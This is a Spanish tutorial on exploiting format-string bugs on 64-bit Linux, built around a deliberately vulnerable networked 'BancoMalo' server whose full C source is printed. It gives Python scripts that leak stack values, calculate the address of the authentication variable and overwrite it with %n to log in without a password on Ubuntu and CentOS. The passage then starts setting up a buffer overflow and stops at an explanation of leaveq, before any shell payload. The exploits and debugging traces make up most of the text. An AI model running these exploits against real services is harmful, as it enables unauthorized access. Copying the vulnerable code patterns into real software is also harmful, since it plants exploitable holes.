Cadenas de formato II y ROP

(NO-NX / ASLR / STACK PROTECTOR)

Autor : Xavier Jiménez <xjimenez@capatres.com>

Versión : 1.1

Índice de contenido

Introducción y aclaración sobre el artículo anterior

Primero una aclaración sobre el artículo anterior. Para el código fuente del primer ejemplo, donde solo se hacía un printf del argumento que le pasábamos comentaba :

Con este programa no podemos hacer cosas muy espectaculares: El problema que hay es que el argumento que le pasamos, donde debería ir la dirección de memoria que queremos alterar, no es tratado en ningún punto del cuerpo del programa. Esto hace que no encontremos el argumento en un índice lo suficientemente bajo que permita apilar direcciones de memoria útiles para nuestros fines.

En realidad eso no es cierto para arquitecturas de 32 bits. En la arquitectura x86 si podremos modificar el valor de la variable objetivo con facilidad. La diferencia esencial es que trabajamos con direcciones de memoria de 4 bytes y el modificador %x trabaja justo con esos 4 bytes. Esto nos permite alinearlo sin problemas. Trabajando con 64 bits no me ha sido posible alinear una dirección de memoria con los registros de la pila cuando los índices N de la cadena de formato (%N$p) son altos. El motivo (corregidme si me equivoco) es que todos ellos usan los 8 bytes, y no encontramos registros con 0x0 donde empujar nuestra inyección. Las referencias a direcciones de memoria donde se encuentran las variables que queremos alterar ocupan 6 bytes. Con los modificadores como h, hh tampoco podemos hacer nada, ya que sirven para apuntar cuantos bytes alteramos de la dirección a la que hacemos referencia en la inyección, pero no a la dirección donde se encuentra la inyección en sí y apuntamos con los índices %N$p.

Aclarado esto, vamos a enumerar los objetivos de este artículo.

Utilizaremos las cadenas de formato para atacar una aplicación vulnerable corriendo sobre dos distribuciones distintas y actualizadas, una Centos6.4 final y una Ubuntu Desktop 12.0.4 LTS, ambas de 64 bits. El ataque se apoyará en las cadenas de formato para recuperar la información sensible y vulnerar el sistema de autenticación. Aprovecharemos una sobreescritura de buffer para lanzar un ataque de tipo ROP con “return into libc” e inyectar un payload que nos proporcione una shell inversa. Las codificación inicial del ataque se ha realizado sobre un sistema Gentoo con kernel 3.11.4-gentoo y compilado sin protecciones de pila que ofrece gcc, pero al adaptar el ataque para Ubuntu, en la fase de la sobre escritura del buffer, nos hemos encontrado que por defecto el compilador sí añade las flag de protección de la pila (fstack-protector), así que para Ubuntu hemos tenido que superar esta protección adicional.

En una primera fase confeccionaremos un script para recoger la información sensible del programa vulnerable. En base a la información recogida articularemos un primer ataque con cadenas de formato para vulnerar el sistema de autenticación. Después prepararemos un ataque por desbordamiento de buffer, apoyándonos en las cadenas de formato y ROP con return into libc para saltar ASLR. En el caso de la Ubuntu nos apoyaremos en las cadenas de formato para inutilizar el protector de la pila.

Como hemos presentado tanto las cadenas de formato como los ROP en artículos anteriores, esta vez complicaremos el código del programa vulnerable. Esto no servirá para combinar los principios de ambas técnicas y así profundizar en su comprensión.

A diferencia del artículo sobre los ROP, donde también usamos un servidor escuchando peticiones de red, cada conexión de cliente se gestionará mediante un nuevo hilo o thread y no con fork. Esto nos permitirá disponer de un espacio de memoria compartido y experimentar un entorno mas cercano a una aplicación real, permitiendo fijarnos objetivos mas complejos. En este caso

tendremos que recuperar el descriptor de fichero para el socket de la conexión para poder inyectar el payload, esto es debido a que puede haber mas de un usuario conectado a la vez y varía el descriptor asignado. La aplicación vulnerable dispondrá de 10 usuarios, capaces de realizar distintas acciones : cambiar su nombre, cambiar su contraseña, listar los otros clientes y realizar una transferencia de fondos.

Aquí os dejo el código del programa vulnerable :

```
/* bancomalo-red.c
*
* Copyright (C) 2013 Xavier Jiménez (xjimenez@capatres.com)
* Programa de ejemplo para ilsustrar los ataques por cadena de formato

* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; version 2
* of the License.
*/

#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <errno.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <pthread.h>
#include <unistd.h>
#include <malloc.h>

/*
 * Estructura que define un usuario
 */

typedef struct _usuario {
        char nombre[25];
        char password[8];
        int saldo;
        char id[3];
} usuario;

/*
 * Preparamos un array de usuarios
 */

usuario usuarios[] = {
{"usuario1","1234",20,"ID1"},
{"usuario2","1234",20,"ID2"},
{"usuario3","1234",20,"ID3"},
{"usuario4","1234",20,"ID4"},
{"usuario5","1234",20,"ID5"},
{"usuario6","1234",20,"ID6"},
{"usuario7","1234",20,"ID7"},
{"usuario8","1234",20,"ID8"},
{"usuario9","1234",20,"ID9"}
};

/*
 * Comprueba las credenciales
 */

int credenciales(char *argv, int sock){
        int i;
        int n = sizeof(usuarios)/sizeof(*usuarios);
        char temp1[1024];

        //Comprobamos usuario
        for(i=0; i<n; i++){
                strncpy(temp1,argv,strlen(usuarios[i].id));

                if(strcmp(usuarios[i].id,temp1)==0){
                        //Comprobamos contraseña
                        write(sock,"....Introduce tu contraseña....\n",33);
                        write(sock,"=>",2);
```

```
                                read(sock, temp1, 1024);
                                temp1[strlen(temp1)-1]='\0';
                                if(strcmp(usuarios[i].password,temp1)==0){
                                        write(sock,"Accediendo ...\n",15);
                                        return i;
                                }
                                else {
                                        write(sock,"Contraseña erronea\n",20);
                                        return -1;
                                }
                        }
                }
                return -1;
}

/*
 * Muestra las opciones al cliente
 */

void menuopciones(int sock, int res){
                char saludo[100];
                sprintf(saludo, "%s: que operacion deseas realizar ?\n", usuarios[res].nombre);
                write(sock,saludo,strlen(saludo));
                write(sock,"================================\n",32);
                write(sock,"1) Salir\n",9);
                write(sock,"2) Cambiar nombre\n",18);
                write(sock,"3) Cambiar passwd\n",18);
                write(sock,"4) Realizar transferencia\n",26);
                write(sock,"5) Listar clientes\n",19);
                write(sock,"================================\n",32);
}

/*
 * Lista y retorna el número total de usuarios
 */

int listarclientes(int sock){
                char lista[1024];
                int i = 0;
                int n = sizeof(usuarios)/sizeof(*usuarios);
                sprintf(lista,"Hay %d usuarios definidos\n", n);
                write(sock,lista,strlen(lista));

                for(i=0; i<n; i++){
                        sprintf(lista,"ID : %s, NOMBRE : %s, PASSWORD : %s, SALDO : %d\n",
                                usuarios[i].id,usuarios[i].nombre,usuarios[i].password,usuarios[i].saldo);
                        write(sock,lista,strlen(lista));
                }
                return n;
}

/*
 * Gentiona las transferencias entre usuarios
 */

void transferencia(int sock, int res){

                char importe[1024];
                char id[1024];

                int val=-1,dst=-1,len=-1,total=-1;
                write(sock,"A que ID quieres realizar la transfernecia ? (p.e: 1)\n",54);
                total = listarclientes(sock);
                len = read(sock, id, 1024);
                dst = atoi(id);
                if (!(dst>0&&dst<=total)) dst = -1;
                else dst -= 1;

                if(dst != -1){
                        write(sock,"Cuanto va a ser ?",17);
```

```
                        bzero(importe,strlen(importe));
                        read(sock, importe, 1024);
                        val = atoi(importe);
                        if((val>usuarios[res].saldo) || (val<0)) {
                                write(sock,"Venga hombre ... mejor cadenas de formato o ROP no ? xD\n",56);
                        }
                        else {
                                usuarios[res].saldo -= val;
                                usuarios[dst].saldo += val;
                                write(sock,"Transferencia realizada\n",24);
                        }

                }

}

/*
 * Cambiar el nombre de usuario
 */

void cambiarnombre(int sock, int res){
                char buff[100];
                int len=0;
                write(sock,"Nuevo nombre : \0",16);
                len = read(sock, buff, 1024);
                strncpy(usuarios[res].nombre,buff,len-1);
                usuarios[res].nombre[len-1] = '\0';
}

/*
 * Cambiar el password
 */

void cambiarpasswd(int sock, int res){
                char buff[100];
                int len=0;
                write(sock,"Nuevo password : ",17);
                len = read(sock, buff, 1024);
                strncpy(usuarios[res].password, buff, len-1);
                usuarios[res].password[len-1] = '\0';
}

/*
 * Gestiona las operaciones del cliente
 */

void operaciones(int sock, int res){
                int len;
                char opcion[3] = "n";
                menuopciones(sock, res);
                while(opcion[0]!='1'){
                        len = read(sock, opcion, 1024);
                        switch(opcion[0]){
                                case '1':
                                        write(sock,"Saliendo...\n",12);
                                        break;
                                case '2':
                                        cambiarnombre(sock,res);
                                        break;
                                case '3':
                                        cambiarpasswd(sock,res);
                                        break;
                                case '4':
                                        transferencia(sock, res);
                                        break;
                                case '5':
                                        listarclientes(sock);
                                        break;
                                default:
                                        write(sock,"No reconozco esta opcion\n",25);
```

```
                                        break;
                                }
                        if(opcion[0]!='1')
                                menuopciones(sock, res);
                }
}

/*
 * Bienvenida y comprueba autenticación
 */

int banco(int sock){

        char temp1[1024];
        char temp2[1024];

        int intentos = 0, res = -1, done = 0;
        write(sock,"================================\n",32);
        write(sock,"Servicios remotos de BancoMalo!\n",32);
        write(sock,"================================\n",32);
        write(sock,".....Introduce tu ID.....\n",32);
        write(sock,"=>",2);

        //Algo de debug
        printf("Res está en %p con valor %d\n",&res,res);

        while(intentos <= 2 && done != 1){
                bzero(temp1,strlen(temp1));
                read(sock, temp1, 1024);
                res = credenciales(temp1, sock);

                //Error explotable por cadena de formato
                sprintf(temp2, temp1);

                if(res>=0) {
                                                operaciones(sock,res);
                                                done = 1;
                                        }
                else {
                                write(sock,"MmmMmmm no serás un malo maloso verdad ?\n",41);
                                write(sock,temp2,strlen(temp2));
                        }
                write(sock,".....Introduce tu ID.....\n",32);
                write(sock,"=>",2);
                intentos += 1;

        }

        write(sock,"\nFin de la consulta bancaria\n",29);
        shutdown (sock, 2);
        close(sock);
        return 0;
}

/*
 * Controlamos el envío de la señal CTRL-C
 */

void apagar_servicio(int signum){
        printf("\nCTRL-C : Detenemos el servicio, se perderán todos los cambios\n");
        exit(0);
}
```

```
/*
 * Manejaremos cada una de las peticiones recibidas en un hilo
 */

void *connection_handler(void *socket_desc)
{
	//Preparamos un puntero de socket
	int sock = *(int*)socket_desc;
	//Procesamos la peticion
	banco(sock);
	puts("El cliente se ha desconectado");
	//Liberamos el puntero de socket
	free(socket_desc);
	return 0;
}

/*
 * Cuerpo principal, aquí lanzaremos un hilo de ejecición
 * para atender a cada una de las peticiones de red entrantes
 */

int main(int argc , char *argv[])
{
	int socket_desc , client_sock , c, rc, *new_sock;
	struct sockaddr_in server , client;
	static sigset_t   signal_mask;

	//Creamos el socket
	socket_desc = socket(AF_INET , SOCK_STREAM , 0);
	if (socket_desc == -1)
	{
		printf("No podemos crear el socket");
	}
	puts("Socket creado");

	//Permitimos reutilización  del socket en caso de TIME_WAIT
	if(setsockopt(socket_desc,SOL_SOCKET,SO_REUSEADDR, &socket_desc, sizeof(socket_desc))<0)
	{
		perror("No pudimos fijar la reutilización en caso de TIME_WAIT\n");
		return 1;
	}

	//Preparamos la estructura sockaddr_in
	server.sin_family = AF_INET;
	server.sin_addr.s_addr = INADDR_ANY;
	//Definimos 1234 como puerto de conexión
	server.sin_port = htons( 1234 );

	//Bind del servidor
	if( bind(socket_desc,(struct sockaddr *)&server , sizeof(server)) < 0)
	{
		perror("bind falló");
		return 1;
	}
	puts("bind realizado");

	//Escuchamos la red
	listen(socket_desc , 3);

	//Acpetamos las peticiones entrantes
	puts("Esperando peticiones...");
	c = sizeof(struct sockaddr_in);

	//Capturamos señal SIGINT (CTRL-C)
	signal(SIGINT, apagar_servicio);

	//Bloqueamos la señal SIGPIPE en los thread
	sigemptyset (&signal_mask);
	sigaddset (&signal_mask, SIGPIPE);
	rc = pthread_sigmask (SIG_BLOCK, &signal_mask, NULL);
```

```
        if (rc != 0) {
                perror("no pudimos bloquear la señal SIGPIPE en los thread");
                return 1;
        }


        //Bucle del gestor de peticiones
        while(client_sock = accept(socket_desc, (struct sockaddr *)&client, (socklen_t*)&c))
        {
                        puts("Aceptamos la conexión");
                        //Preparamos un thread para manejar la petición
                        pthread_t sniffer_thread;
                        new_sock = malloc(1);
                        *new_sock = client_sock;

                        if(  pthread_create( &sniffer_thread , NULL ,  connection_handler , (void*) new_sock) < 0)
                        {
                                perror("no pudimos crear thread");
                                return 1;
                        }
                        puts("manejador de conexión asignado");
        }

        if(client_sock < 0){
                perror("falló la acptación de la petición");
                return 1;
                }

        return 0;
}
```

Compilamos el programa con las banderas de depuración y enlazándolo con la librería pthread

```
gcc -ggdb -o bancored bancomalo-red.c -lpthread
```

Arrancamos el servidor

```
./bancored
Socket creado
bind realizado
Esperando peticiones...
```

Ya estamos preparados para empezar la investigación.

Recogiendo la información

Si miramos el código fuente nos damos cuenta que en la función *banco()*, en la línea 244, tenemos un error de programación que nos permite atacar la aplicación con cadenas de formato.

```
sprintf(temp2, temp1);
```

Esta copia de del buffer *temp1* a *temp2* sin pasar a la función en modificador de formato esperado, y nos permite atacarla enviándole las cadenas de formato.

La forma correcta hubiera sido la siguiente:

```
sprintf(temp2,"%s",temp1);
```

La linea 252 nos permitirá leer los resultados de las cadenas que enviemos al programa:

```
write(sock,temp2,strlen(temp2));
```

Si profundizamos un poco mas en el código veremos que la linea encargada de validar al usuario es:

```
res = credenciales(temp1, sock);
```

Si las credenciales son correctas *res* contendrá el índice a modo de ID que corresponde al usuario. Si esta variable es igual o mayor a 0 nos dará paso a la función *operaciones(),* como podemos leer en el siguiente extracto del código:

```
if(res>=0) {
                operaciones(sock,res);
                done = 1;
                }
else {
                write(sock,"MmmMmmm no serás un malo maloso verdad ?\n",41);
                write(sock,temp2,strlen(temp2));
        }
```

Con esto sabemos que si logramos que la variable res sea mayor que 0 vulneraremos el sistema de credenciales.

Lo primero que vamos a hacer es interaccionar con el programa para comprobar su vulnerabilidad. A continuación vemos el resultado de una prueba con la cadena de formato %p%p%p, que nos debería devolver valores de la pila.

```
nc 127.0.0.1 1234
nc: using stream socket
==============================
Servicios remotos de BancoMalo!
==============================
.....Introduce tu ID.....
=>%p%p%p
```

La respuesta del servidor es:

```
nc: using stream socket
==============================
Servicios remotos de BancoMalo!
==============================
.....Introduce tu ID.....
=>%p%p%p%p%p
MmmMmmm no serás un malo maloso verdad ?0x7f536e5626a00x25(nil)0x101010101010101
.....Introduce tu ID.....
=>
```

Como vemos nos está retornando información de la pila que puede sernos útil. Debemos recopilar mucha información para poder atacar esta vulnerabilidad. Intentar hacerlo a mano podría ser una locura, así que preparamos un script python para que haga el trabajo.

get_indexes.py

```
#!/usr/bin/python
# coding=utf8

import socket
import time

HOST = '192.168.123.100'
PORT = 1234

f = open("indices.txt","w")

for i in range(1, 300):
	at = 'AAAAAA%' + str(i) + '$p\n'
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((HOST, PORT))
	s.sendall(at)
	time.sleep(0.1)
	data = s.recv(1024)
	f.write('Interacion :' + str(i) + '\n')
	f.write(data)
	s.close

f.close()
```

Este script recorrerá las cadenas de formato AAAAAA%N$p, donde N se irá incrementando en 1 para cada iteración. Al final de su ejecución dispondremos de un fichero indices.txt con toda la información que hemos ido recogiendo de N=1 a N=300.

Para agilizar la prueba de concepto hemos añadido una linea de debug al código del programa vulnerable que nos indica la dirección donde se encuentra la variable res y poder calcular los offset de forma sencilla. Sin esta información, deberíamos depurar el programa con gdb y sería mucho más tedioso.

Atacamos la autenticación en Ubuntu Desktop 12.04 LTS

En esta ocasión hemos lanzado el script contra la aplicación vulnerable que está corriendo en la Ubuntu 12.04.3 LTS con kernel GNU/Linux 3.8.0-31-generic x86_64, y responde en la IP 192.168.123.100. Modificamos el valor HOST de get_indexes.py con la IP que nos interesa y lanzamos el script.

```
$python get_indexes.py
```

Abrimos el fichero indices.txt y buscamos el índice donde encontremos las AAAAAA que hemos pasado como ID. En hexadecimal AAAAAA se representa como 414141414141.

```
Interacion :9
==============================
Servicios remotos de BancoMalo!
==============================
.....Introduce tu ID.....
=>MmmMmmm no serás un malo maloso verdad ?
AAAAAA0x3925414141414141
```

En el índice 9 vemos las A que hemos inyectado, pero tenemos el mismo problema que se describía al principio sobre la alineación de las direcciones. Este índice a no nos sirve, si seguimos buscando encontramos:

```
=>Interacion :137
==============================
Servicios remotos de BancoMalo!
==============================
.....Introduce tu ID.....
=>MmmMmmm no serás un malo maloso verdad ?AAAAAA0x414141414141
```

Para la iteración 137 muestra solo lo las 6 A que le hemos pasado, así que %137$p es un índice válido.

Durante la ejecución del script *get_indexes.py* se ha ido volcado la información de debug en el servidor, revelando en que dirección se encontraba res en cada iteración.

```
manejador de conexión asignado
Res está en 0x7fb9ac5ea694 con valor -1
Aceptamos la conexión
manejador de conexión asignado
El cliente se ha desconectado
Res está en 0x7fb9abde9694 con valor -1
El cliente se ha desconectado
Aceptamos la conexión
manejador de conexión asignado
Res está en 0x7fb9ab5e8694 con valor -1
Aceptamos la conexión
manejador de conexión asignado
El cliente se ha desconectado
Res está en 0x7fb9aade7694 con valor -1
Aceptamos la conexión
manejador de conexión asignado
El cliente se ha desconectado
Res está en 0x7fb9aa5e6694 con valor -1
```

Si nos fijamos podemos ver que, para cada una de las iteraciones, la dirección donde se encuentra la variable res es 0x801000 unidades inferior que en la iteración anterior. Volvemos al fichero indices.txt y buscamos alguna iteración que nos revele una dirección de memoria.

Vemos :

```
Interacion :1
================================
Servicios remotos de BancoMalo!
================================
.....Introduce tu ID.....
=>MmmMmmm no serás un malo maloso verdad ?AAAAAA0x7fb9c661e6a0
```

Elegimos el índice 1 y comprobamos si respeta la misma regla de decrecimiento

```
$echo "%1\$p" | nc 192.168.123.100 1234

nc: using stream socket
================================
Servicios remotos de BancoMalo!
================================
.....Introduce tu ID.....
=>MmmMmmm no serás un malo maloso verdad ?0x7fb930cf36a0

$echo "%1\$p" | nc 192.168.123.100 1234

nc: using stream socket
================================
Servicios remotos de BancoMalo!
================================
.....Introduce tu ID.....
=>MmmMmmm no serás un malo maloso verdad ?0x7fb9304f26a0
```

Comprobamos que 0x7fb930cf36a0 - 0x7fb9304f26a0 = 0x801000, con lo que sigue la misma regla. Si podemos establecer una proporción entre el índice *%1$p* y la variable *res*, nos será posible prever donde se ubicará la variable en la siguiente iteración.

Si nos fijamos en el debug que ha volcado el servidor para las dos últimas iteraciones, tomamos los valores de *res* y lo substraemos al valor del índice *%1$p*, podemos calcular lo siguiente que también mantienen una proporción exacta

```
   %1$p                      res
0x7fb930cf36a0     -     0x7fb930cf3694  =  C
0x7fb9304f26a0     -     0x7fb9304f2694  =  C
```

Entonces podemos calcular que para la próxima iteración res estará en : último valor de (%1$p) - el offset que acabamos de calcular (C) – la distancia entre iteraciones (0x801000)

```
Ultimo valor de %1$p: 0x7fb9304f26a0
Entonces res estará en : 0x7fb9304f26a0 - 0x80100c =  0x7fb92fcf1694
```

En el siguiente bloque vemos que después de lanzar una nueva consulta, el resultado que obtenemos es el esperado

```
Aceptamos la conexión
manejador de conexión asignado
Res está en 0x7fb92fcf1694 con valor -1
El cliente se ha desconectado
```

Una vez somos capaces de prever donde va a ubicarse la variable res, podemos preparar un ataque basado en cadenas de formato que altere su valor y vulnere el proceso de autenticación. En realidad el servidor permite probar 3 veces antes de cerrar la conexión, así que podemos calcular el valor que tiene res en la iteración en la que estamos, sin necesidad de restar los 0x801000 de la siguiente iteración ni cerrar la conexión. Si %1$p nos devuelve 0x7fb9304f26a0, sabemos que res se encuentra en 0x7fb9304f2694 para los dos intentos restantes.

En una primera consulta vamos a recuperar el valor del índice %1$p y le restaremos el offset C; en la segunda, podremos alterar su valor usando las cadenas de formato como el que se describía en el artículo anterior.

```
direccion_res%137$n
```

Probamos con el siguiente exploit:

```
#!/usr/bin/python
# coding=utf8

import socket
import time
import re
import sys
import binascii

HOST = '192.168.123.100'
PORT = 1234
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

print 'Calculando offset de ataque'
at='%1$p'
s.send(at)
time.sleep(0.5)
data = s.recv(1024)
for line in data.split('\n'):
    if line.find('0x') != -1:
        line = re.findall('0x[0-9,a-z]+',line)
        line = line[0]
        print 'Esprunjeada :' + line
        addr = int(line[2::],16)-0xC
        print 'Res está en : ' + hex(addr)
        addr = re.findall(r'..',hex(addr)[2::])[::-1]
        addr = ''.join(addr)
        print addr
        fmt = binascii.a2b_hex(addr) + '%137$n'

print 'Lanzamos la cadena de formato contra la variable res'

s.sendall(fmt)
time.sleep(0.5)
data = s.recv(1024)
print data
s.close
```

Vamos a ejecutarlo y ver lo que pasa:

```
$python ubuntu_login.py
alculando offset de ataque
Esprunjeada :0x7f8fedaad6a0
Res está en : 0x7f8fedaad694
94d6aaed8f7f
Lanzamos la cadena de formato contra la variable res
```

No obtenemos respuesta y el servidor se ha detenido con un error de segmentación.

El ataque ha fallado, ¿ pero porqué ? La dirección la hemos calculado de forma correcta, el debug del servidor nos dice que res efectivamente estaba en : 0x7f8fedaad694

Vamos a pasar el programa por el depurador a ver que averiguamos. Arrancamos el servidor con gdb.

```
$gdb ./bancored
(gdb) start
(gdb) c
```

En el equipo del atacante lanzamos el exploit de nuevo.

```
$python ubuntu_login.py
```

En el gdb vemos el error:

```
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff77fd700 (LWP 3170)]
0x00007ffff784a996 in vfprintf () from /lib/x86_64-linux-gnu/libc.so.6
```

Vemos que la aplicación se ha detenido en la función vprintf() de libc. Revisamos el estado de los registros en el momento del error:

```
(gdb) i r
rax            0x65647ffff77fc694          4117838171645920916
rbx            0x7ffff77fc490      140737345733776
rcx            0x7ffff77fb420      140737345729568
rdx            0x0         0
rsi            0x0         0
rdi            0x7ffff77fb4f8      140737345729784
rbp            0x7ffff77fc480      0x7ffff77fc480
rsp            0x7ffff77fb420      0x7ffff77fb420
.
.
```

Si nos fijamos en el registro rax, contiene la dirección de la inyección (7ffff77fc694), pero con dos bytes (65 y 64) en la parte baja. Si comprobamos la instrucción donde se ha detenido la ejecución:

```
(gdb) x/i 0x00007ffff784a996
=> 0x7ffff784a996 <vfprintf+16342>:mov    %r14d,(%rax)
```

Vemos que esos bytes transforman rax en una dirección de memoria no válida y por tanto puede ser movida al registro r14d. Al introducir dos bytes adicionales en nuestra inyección, el resultado no es el esperado y el programa se detiene con un error de segmentación.

Estamos ante el problema de alineación, aunque hemos usado un índice que contenía exactamente los 6 bytes que hemos inyectado. Para intentar resolver esta problemática vamos a ver que valores nos está recogiendo la cadena de formato substituyendo %n por %p. Este cambio permite ver el contendido y como no intentamos cambiar los valores de la pila, la aplicación no se detendrá por un error de segmentación. Los primero que hacemos es reproducir el problema con el que nos hemos encontrado.

```
nc: using stream socket
================================
Servicios remotos de BancoMalo!
================================
.......Introduce tu ID.......
=>%1$p
MmmMmmm no serás un malo maloso verdad ?0x7fd6deafd6a0
.......Introduce tu ID.......
=>AAAAAA%137$p
MmmMmmm no serás un malo maloso verdad ?AAAAAA0x6564414141414141
```

Al realizar la primera consulta hemos provocado que el registro se llene con dos bytes adicionales por la parte baja. Para enfrentarnos con este problema vamos a probar inyectando bytes de relleno que desplacen el contenido por la pila. La esperanza es empujar la inyección a un registro de memoria que esté llena de ceros. Por suerte, si nos fijamos en el fichero indices.txt, en la iteración 138 nos encontramos:

```
=>Interacion :138
================================
Servicios remotos de BancoMalo!
================================
.......Introduce tu ID.......
=>MmmMmmm no serás un malo maloso verdad ?AAAAAA(nil)
```

(nil) significa precisamente que este registro está lleno de ceros, veamos si podemos usarlo como palanca. Probamos empujando la inyección con 8 bytes de relleno, de ese modo nuestra inyección útil se situará en el índice %138$p, como registro contiene ceros, deberíamos lograr que contenga solamente lo que queremos, la dirección de memoria que nos interesa modificar.

```
nc: using stream socket
================================
Servicios remotos de BancoMalo!
================================
.......Introduce tu ID.......
=>%1$p
MmmMmmm no serás un malo maloso verdad ?0x7fd6dbaf76a0
.......Introduce tu ID.......
=>RRRRRRRRAAAAAA%138$p
MmmMmmm no serás un malo maloso verdad ?RRRRRRRRAAAAAA0xa414141414141
```

En esta ocasión vemos un carácter a que no debería estar ahí, así que probamos con 16 bytes de relleno y aumentamos el índice a %139$p

```
nc: using stream socket
================================
Servicios remotos de BancoMalo!
================================
.......Introduce tu ID.......
=>%1$p
MmmMmmm no serás un malo maloso verdad ?0x7fd6db2f66a0
.......Introduce tu ID.......
=>RRRRRRRRRRRRRRRRAAAAAA%139$p
MmmMmmm no serás un malo maloso verdad ?RRRRRRRRRRRRRRRRAAAAAA0x414141414141
```

Esta vez parece que hemos logrado evitar el problema de alineación completamente. Una representación de lo que estamos haciendo en la pila con el relleno, sería la siguiente. Primero representamos como está la pila en el momento del error.

CONTENIDO MEMORIA	ÍNDICE
[0x65647ffff77fc694]	*%137$p*
[0x0]	*%138$p*

A medida que añadamos bytes de relleno se irá desplazando a la derecha, cada 8 bytes que inyectamos el índice donde encontramos la inyección útil se incrementa en uno:

```
[0x4141414141414141]        %137$p
[0x7ffff77fc694]            %138$p
```

Teniendo esto en cuenta, cambiamos el exploit añadiendo 16 bytes de relleno para que la primera consulta no rompa las cosas.

```
#!/usr/bin/python
# coding=utf8

import socket
import time
import re
import sys
import binascii

HOST = '192.168.123.100'
PORT = 1234
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

print 'Calculando offset de ataque'
at='%1$p'
s.send(at)
time.sleep(0.5)
data = s.recv(1024)
for line in data.split('\n'):
    if line.find('0x') != -1:
        line = re.findall('0x[0-9,a-z]+',line)
        line = line[0]
        print 'Esprunjeada :' + line
        addr = int(line[2::],16)-0xC
        print 'Res está en : ' + hex(addr)
        addr = re.findall(r'..',hex(addr)[2::])[::-1]
        addr = ''.join(addr)
        fmt = '%16x' + binascii.a2b_hex(addr) + '%139$p'

print 'Lanzamos la cadena de formato contra la variable res'

s.sendall(fmt)
time.sleep(0.5)
data = s.recv(1024)
print data
s.close
```

Lanzamos el ataque:

```
Calculando offset de ataque
Esprunjeada :0x7ffff17f06a0
Res está en : 0x7ffff17f0694
Lanzamos la cadena de formato contra la variable res
: que operacion deseas realizar ?
================================
1) Salir
2) Cambiar nombre
3) Cambiar passwd
4) Realizar transferencia
5) Listar clientes
================================
```

El ataque ha sido un éxito, pero tiene un pequeño hándicap. Los 16 bytes de relleno, mas los 6 bytes de la dirección, nos obligan llevar a res a un valor mínimo de 22, que está por encima de un usuario existente. Podíamos atacar un índice de usuario lo suficientemente bajo usando la información del decremento de 0x801000 por iteración que hemos descubierto al principio. Si después de la primera consulta cerramos el socket y abrimos una nueva conexión, sabemos que res se situará 0x80100C unidades por debajo de la dirección que nos devuelve el índice %1$p y podremos usar el índice %137$p sin problemas, pero no podemos estar seguros que otro usuario realice esa conexión antes que nosotros, estropeando así nuestra predicción y provocando un error de segmentación en el servidor.

Atacamos la autenticación en CentOS 6.4

Vamos a reproducir el ataque contra la Centos 6.4 con kernel 2.6.32-358.18.1.el6.x86_64 que responde en la IP 192.168.123.101

Una vez tenemos el programa vulnerable compilado y corriendo en la máquina CentOS, ejecutamos el script get_indexes.py y observamos los resultados que hemos obtenido.

Curiosamente, al buscar la cadena 414141414141 entre los resultados, nos encontramos que esta el revés que en Ubuntu. El índice %9$p ocupa 6 bytes exactos y contiene nuestra inyección, el índice %137$p, en cambio, ocupa 8 bytes y no nos sirve como apuntador.

Lo primero que hacemos es comprobar la salida de debug del servidor, donde vemos que la variable res toma valores con una diferencia de 0xA01000 para cada nueva iteración.

Volvemos a consultar indices.txt y encontramos que el índice %1$p contiene una dirección de memoria del tipo 0x7f3bb8f26eb0 y que mantiene el decremento de 0xA01000, este índice puede servirnos para el cálculo de donde vamos a encontrar la variable res.

Ahora necesitamos conocer la distancia de la variable res en relación al índice %1$p. Realizamos una nueva consulta y recogemos los valores de %1$p y de res (7fdda4b25a70 – 7fdda4b2566c = 404) con esto podemos calcular que el offset entre el índice y res es 0x404

Con esto ya tenemos los valores para adaptar el exploit. Con cambiar las siguientes dos líneas ya lo tendremos preparado para atacar la CentOS.

```
HOST = 192.168.123.101
addr = int(line[2::],16)-0x404
fmt = binascii.a2b_hex(addr) + '%9$n'
```

Probamos el exploit

```
$python centos_login.py

Calculando offset de ataque
Esprunjeada :0x7f3bb7b24eb0
Res está en : 0x7f3bb7123cdc
```

Se ha detenido de nuevo, algo no ha funcionado como debería. Vamos a ver que ha sucedido cambiando de nuevo %n por %p

```
$python centos_login.py

Calculando offset de ataque
Esprunjeada :0x7fd7f9c5ea70
Res está en : 0x7fd7f9c5e66c
MmmMmmm no serás un malo maloso verdad ?       f9c5ea70 l����□0x7fd7f9c5e66c20.....Introduce tu ID.....
```

Por algún motivo se ha introducido un byte (20) el la parte alta del registro, así que para solventarlo cambiamos la linea :

```
fmt = '%16x '+binascii.a2b_hex(addr) + '%11$n'
```

por:

```
fmt = '%15x '+binascii.a2b_hex(addr) + '%11$n'
```

Probamos de nuevo el ataque

```
$python centos_login.py

Calculando offset de ataque
Esprunjeada :0x7ff8143d6a70
Res está en : 0x7ff8143d666c
: que operacion deseas realizar ?
==============================
1) Salir
2) Cambiar nombre
3) Cambiar passwd
4) Realizar transferencia
5) Listar clientes
==============================
```

Perfecto, ya tenemos adaptado el exploit para CentOS.

Ubuntu: Desbordamiento con Stack Protector

Una vez hemos logrado vulnerar el sistema de credenciales podemos interactuar con el programa y aprovecharnos de otras vulnerabilidades. En este caso vamos a atacar la aplicación por desbordamiento de buffer en la función de cambio de nombre de usuario. Repasemos la función vulnerable:

```
/*
 * Cambiar el nombre de usuario
 */

void cambiarnombre(int sock, int res){
        char buff[100];
        int len=0;
                write(sock,"Nuevo nombre : \0",16);
        len = read(sock, buff, 1024);
        strncpy(usuarios[res].nombre,buff,len-1);
        usuarios[res].nombre[len-1] = '\0';
}
```

Como podemos apreciar, la variable donde guardamos el nuevo nombre, buff, es de 100 bytes, pero la lectura que hacemos del socket es de 1024, permitiéndonos sobrescribir la estructura de usuarios y finalmente controlar el registro RBP. El registro RBP es nuestro objetivo, ya que lo que va a hacer la función previamente a ejecutar la instrucción retq, será leaveq.

```
(gdb) disas cambiarnombre
.
.
.
0x0000000000401383 <+202>:      leaveq
0x0000000000401384 <+203>:      retq
```

La instrucción en ensamblador leavq es sinónimo de:

```
mov rsp, rbp
pop rpb
```

